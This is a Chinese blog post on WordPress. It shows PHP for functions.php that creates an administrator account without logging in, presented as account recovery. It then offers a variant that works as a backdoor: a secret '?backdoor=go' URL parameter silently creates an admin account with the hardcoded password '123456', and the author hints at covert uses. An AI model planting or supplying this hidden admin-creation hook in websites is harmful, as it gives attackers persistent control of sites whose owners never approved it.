不登录WordPress后台直接新建一个管理员账号

WordPress2819阅读模式

之前“找回 WordPress 登录密码”文章提供的找回登录密码方法有一个局限性,就是如果连登录名和邮件地址也忘了(该找医生看看了),还是无法解决,这里再提供一个方法。

不登录WordPress后台直接新建一个管理员账号-图片1

不登录WordPress 后台直接新建一个管理员账号

可以通过FTP,将下面代码添加到当前主题函数模板functions.php中,然后刷新页面会新建一个管理员账号:

// 新建一个管理账号
$user_email = '123@123.com';
$user_password = '123456';
if ( !username_exists( $user_email ) ) {
	$user_id = wp_create_user( $user_email, $user_password, $user_email );
	wp_update_user( array( 'ID' => $user_id, 'nickname' => $user_email ) );
	$user = new WP_User( $user_id );
	$user->set_role( 'administrator' );
	wp_die( '添加用户成功!' );
} else {
	wp_die( '该用户已经存在,用后请移除本代码!' );
}

修改其中的邮件地址和密码

$user_email = '123@123.com';
$user_password = '123456';

刷新页面会提示:该用户已经存在,用后请移除本代码!,说明用户已添加成功,将添加的代码移除,覆盖还原。

登录新建的管理员账号,修改原来账号的密码或者直接删除原来的账号。


 

不登录WordPress后台直接新建一个管理员账号-图片2

这段代码还有一个不可告人的功能,稍微改一下,变成后门!

这段代码还有一个不可告人的功能,稍微改一下,变成后门!双刃剑看怎么用了。

if ($_GET['backdoor'] == 'go') {
	$user_email = '123@123.com';
	$user_password = '123456';
	if ( !username_exists( $user_email ) ) {
		$user_id = wp_create_user( $user_email, $user_password, $user_email );
		wp_update_user( array( 'ID' => $user_id, 'nickname' => $user_email ) );
		$user = new WP_User( $user_id );
		$user->set_role( 'administrator' );
		wp_die( '添加用户成功!' );
	} else {
		wp_die( '该用户已经存在,用后请移除本代码!' );
	}
}

只有打开一个特定的链接,比如:

example.com/?backdoor=go

才会运行这段代码,并新建管理账号,至于目的是什么,自己想像吧。

 

 

本站文章大部分始于原创,用于个人学习记录,可能对您有所帮助,仅供参考!

weinxin
我的微信
版权声明
本站原创文章转载请注明文章出处及链接,谢谢合作!
 
知更鸟
评论  2  访客  2
    • X
      X 1

      好厉害的样子!
      话说主题更新日志怎么才到4月份 :razz:

      • Pepsi
        Pepsi 0

        想不到你一个卖主题的,居然也开始注重SEO

      匿名

      发表评论

      匿名网友
      :?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:

      拖动滑块以完成验证